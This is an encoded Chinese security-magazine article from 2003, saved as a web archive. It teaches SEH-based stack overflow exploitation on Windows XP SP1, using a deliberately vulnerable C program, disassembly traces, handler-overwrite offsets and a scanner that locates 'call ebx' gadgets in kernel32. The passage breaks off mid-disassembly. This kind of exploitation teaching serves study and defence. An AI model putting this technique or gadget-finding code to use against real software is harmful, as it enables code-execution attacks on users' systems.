From: <ÓÉ Microsoft Internet Explorer 5 ±£´æ> Subject: =?gb2312?B?wszDy7/GvLwtLXd3dy5uc2ZvY3VzLmNvbS0twszDy9TCv68=?= Date: Wed, 1 Oct 2003 00:30:44 +0800 MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0000_01C387B3.409E7C90"; type="text/html" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C387B3.409E7C90 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable Content-Location: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1756 =C2=CC=C3=CB=BF=C6=BC=BC--www.nsfocus.com--=C2=CC=C3=CB= =D4=C2=BF=AF
3DTitle=20
3DLeft 3DRight
 
=C2=CC=C3=CB=B0=B2=C8=AB=D4=C2=BF=AF->=B5=DA39=C6=DA->=BC=BC=CA=F5=D7=A8=CC=E2
=C6=DA=BF=AF=BA=C5=A3=BA =C0=E0=D0=CD=A3=BA=20 = =B9=D8=BC=FC=B4=CA=A3=BA =20 =20
WindowsXP=CF=C2=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=BC=B0=C0= =FB=D3=C3FS:[0]=D2=EC=B3=A3=BD=E1=B9=B9=B4=A6=C0=ED

=D7=F7=D5=DF= =A3=BANanika=20 = <minjack.tw@yahoo.com.tw>
=B3=F6=B4=A6=A3=BAhttp://www.nsfocus.c= om
=C8=D5=C6=DA=A3=BA2003-03-03

=B2=E2=CA=D4=CF=B5=CD=B3
Win= dowsXP_SP1

=B2=E2=CA=D4=B9=A4=BE=DF
Visual=20 C++=20 = 6.0
WDASM
Ultraedit
Softice

=D2=BB=A1=A2   = ; =C7=B0=D1=D4
=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=A3=AC=D5=E2=B8=F6=C3= =FB=B4=CA=B6=D4=D3=DA=D1=D0=BE=BF=CF=B5=CD=B3=B0=B2=C8=AB=B7=BD=C3=E6=B5=C4= =C8=CB=C0=B4=CB=B5=A3=AC=D2=BB=B6=A8=B2=BB=C4=B0=C9=FA=A3=AC=D2=B2=D3=D0=D0= =ED=B6=E0=C8=CB=D0=B4=B3=F6=C0=FB=D3=C3=B7=BD=B7=A8=A3=AC=B5=AB=B4=F3=B6=E0= =CA=FD=B5=C4=C8=CB=BB=B9=CA=C7=B1=C8=BD=CF=C1=CB=BD=E2=B8=B2=D0=B4EIP=D6=B5= =BA=F3=B7=B5=BB=D8=B5=BDDLL=BA=AF=CA=FD=D6=D0=B5=C4Jmp=20 ESP = =B2=A2=C7=D2=B5=B1=CA=B1=B5=C4ESP=B8=D5=BA=C3=D4=DAShellcode=B5=C4=B5=D8=D6= =B7=C9=CF=A3=ACJmp=20 = ESP=BE=CD=B8=D5=B8=D5=BA=C3=BF=C9=D2=D4=B6=A8=CE=BB=A3=AC=CA=B9=B5=C3=CE=D2= =C3=C7=B2=BB=B5=AB=BF=C9=D2=D4=B8=C4=B1=E4=B3=CC=D0=F2=D4=AD=C0=B4=B5=C4=C1= =F7=B3=CC=A3=AC=C7=D2=BF=C9=D2=D4=D7=AA=C8=EB=CE=D2=C3=C7=CB=F9=C9=E8=BC=C6= =B5=C4Shellcode=A3=AC=B5=AB=C6=E4=CA=B5=BB=B9=D3=D0=B1=F0=B5=C4=B0=EC=B7=A8= =C0=B4=B8=C4=B1=E4=C1=F7=B3=CC=A3=AC=C0=FD=C8=E7=B6=D1=D5=BB=D6=D0=B1=A3=B4= =E6=B5=C4=BA=AF=CA=FD=B7=B5=BB=D8=B5=D8=D6=B7=A1=A2=D4=A4=C9=E8=D2=EC=B3=A3= =B4=A6=C0=ED=D6=B8=B1=EAUnhandleExceptionFilter=A1=A2=CF=DF=B3=CC=CF=E0=B9= =D8=B5=C4=D2=EC=B3=A3=B4=A6=C0=EDfs:[0]=A1=A3=B6=F8=CE=D2=D4=DA=D1=D0=BE=BF= CodeRed=B2=A1=B6=BE=CA=B1=A3=AC=B7=A2=CF=D6=B4=CB=B2=A1=B6=BE=C0=FB=D3=C3= =D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=A3=AC=CA=C7=B8=B2=D0=B4=B5=BDException=20 = Handle=D2=B2=BE=CD=CA=C7Fs:[0]=A3=AC=B5=B1=B4=A6=C0=EDWindows=D5=FD=D7=BC= =B1=B8=B4=A6=C0=ED=D2=EC=B3=A3=B5=C4=CA=B1=BA=F2=A3=ACEBX=B8=D5=BA=C3=D6=B8= =CF=F2=B5=B1=C7=B0=B5=C4=D2=EC=B3=A3=BD=E1=B9=B9=A3=AC=CB=F9=D2=D4=BF=C9=D2= =D4=C0=FB=D3=C3=B7=B5=BB=D8DLL=BA=AF=CA=FD=D6=D0=B5=C4Call=20 = EBX=BE=CD=BF=C9=D2=D4=B6=A8=CE=BBShellcode=A3=AC
=B5=AB=CA=C7=CE=D2=D4= =DAWINDOWSXP_SP1=CF=C2=C8=B4=C3=BB=B0=EC=B7=A8=CA=B9=D3=C3Call=20 = EBX=C0=B4=B6=A8=CE=BB=A3=AC=D5=E2=D2=FD=C6=F0=C1=CB=CE=D2=B5=C4=D0=CB=C8=A4= =A3=AC=BD=F8=B6=F8=D0=B4=C1=CB=D5=E2=C6=AA=A3=AC=B3=CC=D0=F2=B6=BC=CA=C7=CE= =D2=D7=D4=BC=BA=D0=B4=B3=F6=C0=B4=B2=E2=CA=D4=B3=FD=B4=ED=B5=C4=A3=AC=BA=DC= =BF=C9=C4=DC=D3=D0=D0=ED=B6=E0=B5=C4=B4=ED=CE=F3=A3=AC=BB=F2=CA=C7=CF=EB=B7= =A8=C9=CF=B5=C4=B4=ED=CE=F3=A3=AC=C8=E7=D3=D0=B4=ED=CE=F3=A3=AC=BE=B4=C7=EB= =D6=B8=D5=FD=A1=A3

=B6=FE=A1=A2    =CF=DF=B3=CC= =D2=EC=B3=A3=B4=A6=C0=ED=BD=E1=B9=B9
=CD=A8=B3=A3=C3=BF=B8=F6=CF=DF=B3= =CC=B3=F5=CA=BC=BB=AF=B6=BC=D7=BC=B1=B8=BA=C3=D6=B4=D0=D0=CA=B1fs=D6=B8=CF= =F2=D2=BB=B8=F6TIB=BD=E1=B9=B9(Thread=20 Imformation=20 = Block)=D4=DAwinnt.h=BA=CDntddk.h=D6=D0=A9o=CE=D2=C3=C7=BF=C9=D2=D4=D5=D2=B5= =BDTIB=BD=E1=B9=B9=B5=C4=B6=A8=D2=E5=A9s

//
//  NT_TI= B=20 - Thread Information Block - Portable=20 part.
//
//      This is = the=20 subsystem portable part of the Thread Information=20 Block.
//      It appears = as the=20 first part of the TEB for all threads which=20 have
//      a user mode=20 component.
//
//

// begin_winnt

typedef = struct=20 _NT_TIB {
    struct=20 _EXCEPTION_REGISTRATION_RECORD=20 *ExceptionList;
    PVOID=20 StackBase;
    PVOID=20 StackLimit;
    PVOID=20 SubSystemTib;
    union=20 {
        PVOID=20 = FiberData;
        ULONG=20 = Version;
    };
    PVOID=20 ArbitraryUserPointer;
    struct = _NT_TIB=20 *Self;
} NT_TIB;
typedef NT_TIB=20 = *PNT_TIB;
//

=B5=DA=D2=BB=B8=F6member=BE=CD=CA=C7_EXCEPTION_REG= ISTRATION_RECORD=D6=B8=D5=EB=A3=AC_EXCEPTION_REGISTRATION_RECORD=BD=E1=B9= =B9=D3=D6=B0=FC=C0=A8=C1=BD=B8=F6=D6=B8=D5=EB=A9s=B5=DA=D2=BB=B8=F6=D6=B8= =D5=EB(=B4=D3=B5=D8=D6=B7fs=A9s[00000000]=C8=A1=B5=C3)=D6=B8=CF=F2=C7=B0=D2= =BB=B8=F6_EXCEPTION_REGISTRATION_RECORD=BD=E1=B9=B9=A9o=B6=F8=C7=B0=D2=BB= =B8=F6_EXCEPTION_REGISTRATION_RECORD=BD=E1=B9=B9=B5=C4=B5=DA=D2=BB=B8=F6=D6= =B8=D5=EB=D3=D6=D6=B8=CF=F2=B8=FC=C7=B0=D2=BB=B8=F6_EXCEPTION_REGISTRATIO= N_RECORD=BD=E1=B9=B9=A9o=D5=E2=D1=F9=CB=F9=D3=D0=B5=C4_EXCEPTION_REGISTRA= TION_RECORD=20 = =BE=CD=D0=CE=B3=C9=C1=CB=D2=BB=B8=F6=C1=B4(link)=A1=A3
=C8=E7=B9=FB=BB= =B9=B2=BB=B6=AE=A3=AC=BF=C9=D2=D4=BF=B4=CF=C2=C3=E6=B5=C4=CD=BC
fs:[0]= ->=20
_EXCEPTION_REGISTRATION struc
prev dd ?=20 ;=C7=B0=D2=BB=B8=F6_EXCEPTION_REGISTRATION=BD=E1=B9=B9 =
handler dd ?=20 = ;=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=DA
_EXCEPTION_REGISTRATION=20 = ends  
=B0=D1handler=D3=F2=BB=BB=B3=C9=C4=E3=B5=C4=B3=CC=D0=F2= =C8=EB=BF=DA,=BE=CD=BF=C9=D2=D4=D4=DA=B7=A2=C9=FA=D2=EC=B3=A3=CA=B1=B5=F7= =D3=C3=C4=E3=B5=C4=B3=CC=D0=F2=C1=CB

=B6=F8=CE=D2=C3=C7=D5=E2=B4=CE= =BE=CD=D0=E8=D2=AA=B8=B2=D0=B4=B5=BDhandle=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF= =DA

=C8=FD=A1=A2=B7=B6=C0=FD=B3=CC=D0=F2
=CE=D2=C3=C7=D0=B4=D2=BB= =B8=F6=B3=CC=D0=F2=C0=B4=CA=B5=BC=CA=B5=C4=B2=D9=D7=F7=D2=BB=CF=C2
#in= clude=20 <stdio.h>
int main()
{
char = buffer[16]=3D"";=20
FILE *fd=3DNULL;
fd =3D fopen("files.txt","rb"); =
if(fd =3D=3D=20 NULL)
return = printf("=B2=BB=C4=DC=BF=AA=C6=F4files.txt=99n,=C7=EB=C8=B7=B6=A8\n");=20
fgets(buffer,1000,fd);
return 0;=20 =
}

=D5=E2=D2=BB=B8=F6=B7=B6=C0=FD=D2=BB=BF=B4=BE=CD=D6=AA=B5=C0= =C1=CB=A3=AC=D3=D0=C1=CB=C3=F7=CF=D4=B5=C4=D4=DD=B4=E6=C7=F8=D2=E7=CE=BB=A3= =ACbuffer=D6=BB=D3=D016=A3=AC=B5=AB=C8=B4=BF=C9=D2=D4=B6=C1=C8=EB1000=B8=F6= =D7=D6=B7=FB=A3=AC=B4=CB=D6=D6=D2=E7=CE=BB=B5=B1=C8=BB=BF=C9=D2=D4=D6=B1=BD= =D3=B8=B2=D0=B4EIP=B5=D8=D6=B7=B8=C4=D0=B4=B3=C9Jmp=20 = ESP=CA=B9=D3=C3ESP=C0=B4=B6=A8=CE=BB=A3=AC=B5=AB=D5=E2=BE=CD=B2=BB=D4=DA=CE= =D2=C3=C7=B5=C4=B7=B6=CE=A7=D6=AE=C4=DA=A3=AC=B2=A2=C7=D2=D3=D0=BA=DC=B6=E0= =B5=C4=CE=C4=D5=C2=B6=BC=CA=C7=D3=D0=B9=D8=D5=E2=D6=D6=C0=FB=D3=C3=B7=BD=B7= =A8=A1=A3

=CE=D2=C3=C7=BC=CC=D0=F8=CF=C2=C8=A5
=CE=D2=C3=C7=B0=D1= =D5=E2=B8=F6=B3=CC=D0=F2=CA=B9=D3=C3Release=C4=A3=CA=BD=C0=B4=B1=E0=D2=EB=
=C8=BB=BA=F3=A3=AC=B0=D1=CB=FC=B7=B4=D7=E9=D2=EB=D2=BB=CF=C2=A3=AC=B5= =C3=B5=BD=C8=E7=CF=C2=B5=C4=B3=CC=D0=F2
:0040112B=20 = 55            = ;          push=20 ebp
:0040112C=20 = 8BEC           &nb= sp;        mov=20 ebp, esp
:0040112E=20 = 6AFF           &nb= sp;        push=20 FFFFFFFF
:00401130=20 = 68B0604000          &nb= sp;   push=20 004060B0
:00401135=20 = 6840284000          &nb= sp;   push=20 = 00402840--&#61664;=D5=E2=C0=EF=BE=CD=CA=C7=D2=EC=B3=A3=B4=A6=C0=ED=C8= =EB=BF=DA
:0040113A=20 = 64A100000000          &= nbsp; mov=20 eax, dword ptr = fs:[00000000]-&#61664;=D5=E2=CA=C7=C7=B0=D2=BB=B8=F6=D2=EC=B3=A3=B4=A6= =C0=ED=BD=E1=B9=B9
:00401140=20 = 50            = ;          push=20 eax
:00401141=20 = 64892500000000          = ;mov=20 dword ptr fs:[00000000],=20 = esp---&#61664;=BD=ABFS:[0]=D6=B8=CF=F2=D0=C2=B5=C4=D2=EC=B3=A3=BD=E1=B9= =B9
:00401148=20 = 83EC10           &= nbsp;      sub=20 esp, 00000010
:0040114B=20 = 53            = ;          push=20 ebx
:0040114C=20 = 56            = ;          push=20 esi
:0040114D=20 = 57            = ;          push=20 edi
:0040114E=20 = 8965E8           &= nbsp;      mov=20 dword ptr [ebp-18], = esp

=CF=D4=C8=BB=CE=D2=C3=C7=D2=AA=B8=B2=D0=B4=B5=C4=C4=BF=B1=EA=BE= =CD=D4=DApush=20 = 00402840=D2=EC=B3=A3=B4=A6=C0=ED=C8=EB=BF=DA=A3=AC=CE=D2=C3=C7=D2=AA=BD=AB= =B4=CB=B4=A6=B8=C4=D0=B4=B3=C9Call=20 = EBX=BE=CD=BF=C9=D2=D4=C0=B4=B6=A8=CE=BBShellcode=C1=CB
=BE=CD=C0=B4=CA= =B5=BC=CA=B2=E2=CA=D4=D2=BB=CF=C2=A3=AC=CE=D2=C3=C7=B4=B4=C1=A2=D2=BB=B8=F6= =CE=C4=D7=D6=CE=C4=BC=FE=C8=BB=BA=F3=C0=EF=C3=E6=B7=C5=C8=EB20=B8=F6a=D7=D6= =B7=FB=A3=AC=C8=BB=BA=F3=C0=FB=D3=C3WDASM=C0=B4=B3=FD=B4=ED=A3=AC=B6=CF=B5= =E3=C9=E8=D4=DA004011da=A3=ACF2=C9=E8=B6=CF=B5=E3
:004011DA=20 = E821FEFFFF          &nb= sp;   call=20 = 00401000-&#61664;=BB=E1=D1=BA=C8=EB=CF=C2=D2=BB=B8=F6=B3=CC=D0=F20040= 11df=B5=D8=D6=B7=C8=BB=BA=F3=D4=D9jmp 00401000
:004011DF=20 = 83C40C           &= nbsp;      add=20 esp, 0000000C
:004011E2=20 = 8945E4           &= nbsp;      mov=20 dword ptr [ebp-1C], eax
:004011E5=20 = 50            = ;          push=20 = eax

=CE=D2=C3=C7=B0=B4=CF=C2f7=B8=FA=BD=F8=C8=A5004011da
:00401= 000=20 = 83EC10           &= nbsp;      sub=20 esp, 00000010
:00401003=20 = A0F0784000          &nb= sp;   mov=20 al, byte ptr [004078F0]
:00401008=20 = 33C9           &nb= sp;        xor=20 ecx, ecx
:0040100A=20 = 894C2401           = ;     mov=20 dword ptr [esp+01], ecx

* Possible StringData Ref = from Data=20 Obj=20 = ->"rb"
          =             &= nbsp;           |<= BR>:0040100E=20 = 6858704000          &nb= sp;   push=20 00407058
:00401013=20 = 894C2409           = ;     mov=20 dword ptr [esp+09], ecx

* Possible StringData Ref = from Data=20 Obj=20 = ->"files.txt"
         = ;            =             &= nbsp;|
:00401017=20 = 684C704000          &nb= sp;   push=20 0040704C
:0040101C=20 = 894C2411           = ;     mov=20 dword ptr [esp+11], ecx
:00401020=20 = 88442408           = ;     mov=20 byte ptr [esp+08], al
:00401024=20 = 66894C2415          &nb= sp;   mov=20 word ptr [esp+15], cx
:00401029=20 = 884C2417           = ;     mov=20 byte ptr [esp+17], cl
:0040102D=20 = E8E6000000          &nb= sp;   call=20 00401118
:00401032=20 = 83C408           &= nbsp;      add=20 esp, 00000008
:00401035=20 = 85C0           &nb= sp;        test=20 eax, eax
:00401037=20 = 7511           &nb= sp;        jne=20 0040104A

* Possible StringData Ref from Data Obj=20 = ->"=B2=BB=C4=DC=BF=AA=C6=F4files.txt=99n,=C7=EB=C8=B7=B6=A8
"
&n= bsp;           &nb= sp;           &nbs= p;         |
:00401039=20 = 6830704000          &nb= sp;   push=20 00407030
:0040103E=20 = E884000000          &nb= sp;   call=20 004010C7
:00401043=20 = 83C404           &= nbsp;      add=20 esp, 00000004
:00401046=20 = 83C410           &= nbsp;      add=20 esp, 00000010
:00401049=20 = C3            = ;          ret

<= BR>
*=20 Referenced by a (U)nconditional or (C)onditional Jump at=20 Address:
|:00401037(C)
|
:0040104A=20 = 50            = ;          push=20 eax
:0040104B=20 = 8D542404           = ;     lea=20 edx, dword ptr [esp+04]
:0040104F=20 = 68E8030000          &nb= sp;   push=20 000003E8
:00401054=20 = 52            = ;          push=20 edx
:00401055=20 = E816000000          &nb= sp;   call=20 = 00401070--&#61664;=B4=CB=B4=A6=BE=CD=CA=C7=D4=DD=B4=E6=C7=F8=D1=BA=C8= =EB=B6=D1=D5=BB=B5=C4=B5=D8=B7=BD
:0040105A=20 = 83C40C           &= nbsp;      add=20 esp, 0000000C
:0040105D=20 = 33C0           &nb= sp;        xor=20 eax, eax
:0040105F=20 = 83C410           &= nbsp;      add=20 esp, 00000010
:00401062=20 = C3            = ;          ret

=B8= =B2=B8=C7=D6=AE=C7=B0=B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=C8=DD



call 00401070 = =D1=BA=C8=EB=B6=D1=D5=BB=D6=AE=BA=F3

=20 =

=D7=A2=D2=E2=B5=BD=C1=CB=C3=BB=A3=BF=D4=AD=C0=B4=B5=C4=B7=B5=BB=D8= =B5=D8=D6=B7004011df=B5=D8=D6=B7=D2=D1=BE=AD=B8=B2=D0=B4=B3=C961616161=CB=F9=D2=D4=CE=D2=C3=C7=B7=B5=BB=D8=BA=F3=CA=C7EIP=20 = 61616161=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC=CB=F9=D2=D4=B2=FA=C9=FA=B4=ED=CE=F3=
=B6=D4=C1=CB=A3=AC=CE=D2=C3=C7=D5=E2=B4=CE=B5=C4=C0=FB=D3=C3=B7=BD=B7= =A8=CA=C7=D2=AA=C0=FB=D3=C3Fs:[0]=CB=F9=D2=D4=D0=E8=D2=AA=D5=D2=D2=BB=CF=C2= =D4=DA=B6=D1=D5=BB=B5=C4=C4=C7=B8=F6=B2=BF=B7=D6=A3=AC=C8=BB=BA=F3=BC=CC=D0= =F8=B8=B2=B8=C7=B9=FD=C8=A5



=CB=C4=A1=A2=C0=FB=D3=C3=B7=BD=B7=A8
esp =3D=20 = 0012ff68+4c=3D0012ffb4---&#61664;=D5=E2=B8=F6=B5=D8=D6=B7=BE=CD=CA=C7= =CE=D2=C3=C7=CB=F9=D2=AA=B8=B2=D0=B4=B5=C4=B5=D8=D6=B700402840=D2=EC=B3=A3= =B4=A6=C0=ED=C8=EB=BF=DA=A3=AC=CE=D2=C3=C7=BD=A8=C1=A2=D2=BB=B8=F6=CE=C4=D7= =D6=CE=C4=BC=FE=A3=AC=C4=DA=D3=D068=B8=F6=D7=D6=B7=FB=BE=CD=BF=C9=D2=D4=B8= =B2=B8=C7=B5=BD=D2=EC=B3=A3=C8=EB=BF=DA=B5=D8=D6=B7=A3=AC=D2=B2=BE=CD=CA=C7= =D4=DA=B4=CB=B4=A6=CC=EE=C8=EBcall=20 = ebx=BE=CD=BF=C9=D2=D4=CC=F8=B5=BD=C9=CF=D2=BB=B8=F6=BD=E1=B9=B9=A3=AC=D2=B2= =BE=CD=CA=C7=D4=DA0012ffb0=B5=C4=D5=E2=B8=F6=B5=D8=D6=B7=A3=AC=D6=C1=D3=DA= =D2=AA=C8=E7=BA=CE=CC=EE=C8=EBcall=20 = ebx=C4=D8=A3=BF=CE=D2=C3=C7=BE=CD=CA=B9=D3=C3=B7=B5=BB=D8=D6=C1DLL=BA=AF=CA= =FD=D6=D0=B5=C4=B5=D8=D6=B7=A3=AC=B5=AB=B1=D8=D0=EB=CA=C7=D2=AA=B4=CB=C2=A9= =B6=B4=B3=CC=D0=F2=BC=D3=D4=D8=BA=F3=B5=C4=A3=AC=CE=D2=C3=C7=B5=C4=D5=E2=B8= =F6=B3=CC=D0=F2=D0=B4=B5=C3=BA=DC=BC=F2=B5=A5=A3=AC=CB=F9=D2=D4=D2=B2=D6=BB= =D3=D0Kernel32.dll=BC=D3=D4=D8=A3=AC=CB=F9=D2=D4=B4=D3=D5=E2=C0=EF=C3=E6=D1= =B0=D5=D2FF=20 = D3=CE=D2=C3=C7=B4=D3JASON=CF=C8=C9=FA=B5=C4=CE=C4=D5=C2=D6=D0=CB=F9=D0=B4= =B5=C4=B3=CC=D0=F2=C0=B4=D1=B0=D5=D2
CWinApp theApp;

using = namespace=20 std;

int _tmain(int argc, TCHAR* argv[], TCHAR* = envp[])=20
{
     int nRetCode =3D 0;=20

     // initialize MFC and print = and=20 error on failure
     if=20 (!AfxWinInit(::GetModuleHandle(NULL), NULL, = ::GetCommandLine(), 0))=20
     {=20 =
          //=20 TODO: change error code to suit your needs=20 =
          cerr=20 << _T("Fatal Error: MFC initialization failed") = << endl;=20 =
          nRetCode = =3D 1;
     } =
    =20 else
     {=20 =
          #if=20 0=20 =
          return=20 0;=20 =
          __asm=20 call=20 = ebx
           =      
      &nb= sp;   #else=20

      bool = we_loaded_it =3D=20 false;=20 =
          =20 HINSTANCE h;
      TCHAR = dllname[]=20 =3D _T("User32");=20

        =20 = if(argc>1)    {
     &= nbsp;    =20 = strcpy(dllname,argv[1]);
       &nb= sp;=20 }

         h = =3D=20 GetModuleHandle(dllname);=20
         if(h = =3D=3D NULL)=20
         {=20 =
          h =3D=20 LoadLibrary(dllname);=20
         if(h = =3D=3D NULL)=20
         {=20 =
          =20 cout<<"ERROR LOADING DLL: = "<<dllname<<endl;=20
         return = 1;=20
         }=20
         = we_loaded_it =3D=20 true;
         } = =

           = ; =20 BYTE* ptr =3D (BYTE*)h;=20 =
           &nb= sp;=20 bool done =3D false;=20 =
           &nb= sp;=20 for(int y =3D 0;!done;y++)=20 =
           &nb= sp;=20 {=20 =
           &nb= sp;    try=20 =
           &nb= sp;    {=20 =
           &nb= sp;      =20 if(ptr[y] =3D=3D 0xff && ptr[y+1] =3D=3D 0xd3)=20 =
           &nb= sp;      =20 {=20 =
           &nb= sp;        =20 int pos =3D (int)ptr + y;=20 =
           &nb= sp;        =20 cout<<"OPCODE found at = 0x"<<hex<<pos<<endl;=20 =
           &nb= sp;      =20 }=20 =
           &nb= sp;    }=20 =
           &nb= sp;        catch(...)=20 =
           &nb= sp;        {=20 =
           &nb= sp;          =20 cout<<"END OF "<<dllname<<" MEMORY=20 REACHED"<<endl;=20 =
           &nb= sp;          =20 done =3D true;=20 =
           &nb= sp;        }=20 =
           &nb= sp;=20 }=20 =



      if(we_loaded_it)=20 FreeLibrary(h); =
      #endif=20
     }
     = return=20 nRetCode; =
}
=CE=D2=C3=C7=B0=D1=B3=CC=D0=F2=B1=E0=D2=EB=BA=C3=A3=AC=D6=B4=D0=D0= =BA=F3=A3=AC
C:\>callebx=20 kernel32
OPCODE found at 0x77e426ba
OPCODE found at=20 0x77e42d94
OPCODE found at 0x77e42eac
OPCODE found at=20 0x77e439ad
OPCODE found at = 0x77e43be2
=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD=A1=AD= =A1=AD=A1=AD=A1=AD.=CC=AB=B6=E0=C1=CB
END=20 OF kernel32 MEMORY = REACHED

=D4=DAKernel32=D6=D0=D5=D2=B5=BD=D0=ED=B6=E0call=20 = ebx=B5=C4=B5=D8=D6=B7

=CE=D2=C3=C7=B0=D1=D5=E2=B8=F6=B5=D8=D6=B7=CC= =EE=C8=EB=CE=C4=D7=D6=CE=C4=BC=FE=D6=D0=A3=AC=D2=B2=BE=CD=CA=C7=D2=AA=B8=B2= =D0=B40012ffb4=B6=D1=D5=BB=D6=D0=B5=C4=C4=DA=C8=DD=A3=AC=B8=C4=D0=B4=B3=C9=
77e426ba=A3=AC=B5=B1=C8=BB=D1=BA=C8=EB=D0=E8=D2=AA=CC=EE=C8=EB=B5=C4=C4= =DA=C8=DD=CA=C7ba26e477=A3=AC=CE=D2=C3=C7=BE=CD=C0=B4=B2=E2=CA=D4=D2=BB=CF= =C2=A3=AC=CA=C7=B7=F1ebx=BE=CD=BF=C9=D2=D4=B6=A8=CE=BB=A3=AC=B5=B1=CE=D2=C3= =C7=B7=B5=BB=D861616161=D6=AE=BA=F3=B5=B1=C8=BB=BB=E1=B3=F6=CF=D6=B4=ED=CE= =F3=A3=AC=C8=BB=BA=F3=B3=CC=D0=F2=BE=CD=CC=F8=C8=EB
.text:77FB4DAF&nbs= p;            = ;   =20 public KiUserExceptionDispatcher
.text:77FB4DAF=20 KiUserExceptionDispatcher proc near
.text:77FB4DAF=20
.text:77FB4DAF=20 = var_14          =3D=20 dword ptr -14h
.text:77FB4DAF=20 = var_10          =3D=20 dword ptr -10h
.text:77FB4DAF=20 = var_C           =3D=20 dword ptr -0Ch
.text:77FB4DAF=20 = var_4           =3D=20 dword ptr -4
.text:77FB4DAF=20 = arg_0           =3D=20 dword ptr  4
.text:77FB4DAF=20 =
.text:77FB4DAF         &= nbsp;      =20 mov     ecx,=20 = [esp+arg_0]
.text:77FB4DB3       &n= bsp;        =20 mov     ebx,=20 = [esp+0]
.text:77FB4DB6        =         =20 = push    ecx
.text:77FB4DB7    =              = = push    ebx
.text:77FB4DB8    =              = call    sub_0_77F60B69=20 = ---&#61664;=CE=D2=C3=C7=BC=CC=D0=F8=B8=FA=BD=F8=C8=A5
.text:77FB4D= BD            = ;    =20 or      al,=20 = al
.text:77FB4DBF         = ;       =20 jz      short=20 = loc_0_77FB4DCD
.text:77FB4DC1       = ;         =20 pop    =20 = ebx
.text:77FB4DC2        &nbs= p;       =20 pop    =20 = ecx
.text:77FB4DC3        &nbs= p;       =20 = push    0
.text:77FB4DC5    &n= bsp;           =20 = push    ecx
.text:77FB4DC6    =              = = call    ZwContinue
.text:77FB4DCB   = ;            =  =20 jmp     short=20 = loc_0_77FB4DD8

=B3=CC=D0=F2=C0=B4=B5=BD
.text:77F60B69 ; = Attributes: bp-based=20 frame
.text:77F60B69
.text:77F60B69=20 sub_0_77F60B69  proc=20 = near           &nb= sp;  =20 ; CODE XREF: KiUserExceptionDispatcher+9 p
.text:77F60B69 =
.text:77F60B69=20 = var_10          =3D=20 byte ptr -10h
.text:77F60B69=20 = var_8           =3D=20 dword ptr -8
.text:77F60B69=20 = var_4           =3D=20 dword ptr -4
.text:77F60B69=20 = arg_0           =3D=20 dword ptr  8
.text:77F60B69=20 = arg_4           =3D=20 dword ptr  0Ch
.text:77F60B69=20 =
.text:77F60B69         &= nbsp;      =20 = push    ebp
.text:77F60B6A    =              = mov     ebp,=20 = esp
.text:77F60B6C        &nbs= p;       =20 sub     esp,=20 = 60h
.text:77F60B6F        &nbs= p;       =20 = push    esi
.text:77F60B70    =              = = push    [ebp+arg_4]
.text:77F60B73  &nbs= p;            = ; =20 mov     esi,=20 = [ebp+arg_0]
.text:77F60B76       &n= bsp;        =20 = push    esi
.text:77F60B77    =              = = call    sub_0_77F60C26
.text:77F60B7C  &= nbsp;           &n= bsp; =20 test    al,=20 = al
.text:77F60B7E         = ;       =20 jnz    =20 = loc_0_77F87B6F
.text:77F60B84       = ;         =20 = push    ebx
.text:77F60B85    =              = = push    edi
.text:77F60B86    =              = lea     eax,=20 = [ebp+var_8]
.text:77F60B89       &n= bsp;        =20 = push    eax
.text:77F60B8A    =              = lea     eax,=20 = [ebp+var_4]
.text:77F60B8D       &n= bsp;        =20 = push    eax
.text:77F60B8E    =              = = call    sub_0_77F79CCF
.text:77F60B93  &= nbsp;           &n= bsp; =20 = call    sub_0_77F79CEA
.text:77F60B98  &= nbsp;           &n= bsp; =20 and     [ebp+arg_0],=20 = 0
.text:77F60B9C         =        =20 mov     ebx, eax
.text:77F60B9E=20
.text:77F60B9E=20 = loc_0_77F60B9E:         &nbs= p;            = ;  =20 ; CODE XREF: sub_0_77F60B69+B8=20 = j
.text:77F60B9E         =        =20 cmp     ebx,=20 = 0FFFFFFFFh
.text:77F60BA1       &nb= sp;        =20 = jz      loc_0_77F727F1
.text:77F60BA7&nb= sp;           &nbs= p;   =20 cmp     ebx,=20 = [ebp+var_4]
.text:77F60BAA       &n= bsp;        =20 = jb      loc_0_77F727F8
.text:77F60BB0&nb= sp;           &nbs= p;   =20 lea     eax,=20 = [ebx+8]
.text:77F60BB3        =         =20 cmp     eax,=20 = [ebp+var_8]
.text:77F60BB6       &n= bsp;        =20 = ja      loc_0_77F727F8
.text:77F60BBC&nb= sp;           &nbs= p;   =20 test    bl,=20 = 3
.text:77F60BBF         =        =20 jnz    =20 = loc_0_77F727F8
.text:77F60BC5       = ;         =20 mov     eax,=20 = [ebx+4]
.text:77F60BC8        =         =20 cmp     eax,=20 = [ebp+var_4]
.text:77F60BCB       &n= bsp;        =20 jb      short=20 = loc_0_77F60BD6
.text:77F60BCD       = ;         =20 cmp     eax,=20 = [ebp+var_8]
.text:77F60BD0       &n= bsp;        =20 = jb      loc_0_77F727F8
.text:77F60BD6=20
.text:77F60BD6=20 = loc_0_77F60BD6:         &nbs= p;            = ;  =20 ; CODE XREF: sub_0_77F60B69+62=20 = j
.text:77F60BD6         =        =20 test    byte_0_77FC324A,=20 = 80h
.text:77F60BDD        &nbs= p;       =20 jnz     loc_0_77F87B76
.text:77F60BE3 =
.text:77F60BE3=20 = loc_0_77F60BE3:         &nbs= p;            = ;  =20 ; CODE XREF: .text:77F87B87=20 = j
.text:77F60BE3         =        =20 push    dword ptr=20 = [ebx+4]
.text:77F60BE6        =         =20 lea     eax,=20 = [ebp+var_10]
.text:77F60BE9       &= nbsp;        =20 = push    eax
.text:77F60BEA    =              = = push    [ebp+arg_4]
.text:77F60BED  &nbs= p;            = ; =20 = push    ebx
.text:77F60BEE    =              = = push    esi
